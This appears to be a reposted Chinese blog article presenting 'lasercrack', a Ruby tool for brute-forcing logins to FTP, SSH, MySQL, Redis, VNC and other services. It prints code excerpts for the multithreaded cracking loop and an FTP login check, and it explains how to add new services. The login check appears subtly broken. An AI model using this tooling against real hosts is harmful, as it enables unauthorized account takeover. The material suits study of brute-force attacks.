内容简介:lasercrack是一款爆力破解工具,现如今市面上常见的暴力工具如hydra,medusa都有着不错的破解效率,不过我还没有找到ruby写的,一方面是想从原理上理解下暴力破解漏洞,另一方面练习一下ruby语言。此工具配置成交互式终端界面,服务爆破脚本可自定义。主目录中lasercrack.rb控制整体流程,接受用户参数并作出响应。
0×01 简单说明
lasercrack是一款爆力破解工具,现如今市面上常见的暴力 工具 如hydra,medusa都有着不错的破解效率,不过我还没有找到 ruby 写的,一方面是想从原理上理解下暴力破解漏洞,另一方面练习一下ruby语言。此工具配置成交互式终端界面,服务爆破脚本可自定义。
0×02 工具结构
主目录中lasercrack.rb控制整体流程,接受用户参数并作出响应。
utils目录中framework.rb是框架核心文件,控制与线程池相关,提供了三种方式的爆破,即单用户<=>单密码,单用户<=>多密码,单密码<=>多用户,目前暂不支持的多用户<=>多密码。其余文件是服务爆破相关文件,其中分为service.rb和serviceattack.rb。
0×03 源码说明
初始化函数定义了一些基本变量可以让用户自行设置,同时载入所有可用的服务爆破类。
def initialize @module = "nil" @ip = "nil" @port = 0 @username = "nil" @password = "nil" @user_file = "nil" @pass_file = "nil" @verbose = false @threads = 10 @timeout = 10 @exploithash = { "ftp" => FtpAttack.new, "ssh" => SshAttack.new, "mysql" => MysqlAttack.new, "mssql" => MssqlAttack.new, "smb" => SmbAttack.new, "redis" => RedisAttack.new, "mongo" => MongoAttack.new, "telnet" => TelnetAttack.new, "oracle" => OracleAttack.new, "vnc" => VncAttack.new, } end
参数校验函数针对用户输入或未输入的信息进行判断可以使用哪种爆破模式,对还未达到利用条件的参数抛出未定义。
def checkarg flag = true if @user_file == "nil" and @pass_file == "nil" puts "[*] Exploit by ip/ips..".light_blue tmphash = {"ip" => @ip, "port" => @port, "username" => @username, "password" => @password} tmphash.each {|key, value| if value == "nil" or value == 0 tmpstr = "[-] "+key+" => "+value.to_s+" ".light_red puts tmpstr.light_red flag = false end } else return false end return flag end
爆力破解函数载入线程池并批量对服务进行穷举尝试。其中在verbose为false的情况下使用processbar模块动态显示进程条信息。
def exploit_ips_template $semaphore = Mutex.new $COUNTER = 0 $OFFSET = 0 puts "[*] Starting crack the #{@module}..".light_blue puts "[*] target ip: "+@ip.light_blue puts "[*] target port: "+@port.light_blue @exploithash.each { |key, value| if key == @module iplist = checkcidr_iprange if not iplist.nil? pool = ThreadPool.new(@threads) exploitips = value iplist.each { |item| pool.process { if exploitips.attack_once(item, @port.to_i, @username, @password, @timeout) result = "[+] Crack it!"+" "*6+item+" "*6+@username+":"+@password $OFFSET += 1 $semaphore.lock puts result.light_green $semaphore.unlock else if @verbose $semaphore.lock puts "["+getnow+"]".light_white+" "*6+"Not found! ==> "+item.light_red $semaphore.unlock else $semaphore.lock progressbar = ProgressBar.create(:format => 'Processing: |%b>>%i| %p%% %t', :starting_at => $COUNTER, :total => iplist.length-$OFFSET-1) $semaphore.unlock $COUNTER += 1 sleep 0.05 if progressbar.finished? puts "finished".light_blue end end end } } gets end end } end
服务登录验证函数对用户提供的信息进行验证,返回true或false表明是否可登录成功。用ftp举例,其他服务脚本类似,不做赘述。
def hit begin ftp = Net::FTP.new ftp.read_timeout = @timeout ftp.open_timeout = @timeout ftp.connect(@ip, @port) ftp.login(@user, @password) result = ftp.lastresp ftp.close if result == "200" return true else return false end rescue return false end end
0×04 样例测试
测试本地mysql。
由于字典比较小很快就可以出结果。
设置verbose为true,显示攻击详细信息。
0×05 扩展支持服务
如需自己扩充暴力破解服务,需要修改下面几个地方:
lasercrack.rb中将对应的服务添加到数组和字典中,字典里指定对应的端口信息。
framework.rb中引入对应的attack文件,默认都在utils目录中编写。
同时init函数中添加exploithash,show函数中增加显示。
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 暴力破解及其流行工具研究
- Linux应急响应(一):SSH暴力破解
- 大整数相乘“分治法”和“循环暴力法”
- 换个角度看 w 易暴力裁员
- 浅谈http隐蔽隧道下的RDP暴力破解
- 优雅停止 SpringBoot 服务,拒绝 kill -9 暴力停止!
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
C++标准模板库编程实战
Ivor Horton / 郭小虎、程聪 / 2017-1
《C++标准模板库编程实战》介绍最新的C++14标准的API、库和扩展,以及如何将它们运用到C++14程序中。在书中,作者Ivor Horton 则阐述了什么是STL,以及如何将它们应用到程序中。我们将学习如何使用容器、迭代器,以及如何定义、创建和应用算法。此外,还将学习函数对象和适配器,以及它们的用法。 阅读完本书之后,你将能够了解如何扩展STL,如何定义自定义类型的C++组件,你还将能够......一起来看看 《C++标准模板库编程实战》 这本书的介绍吧!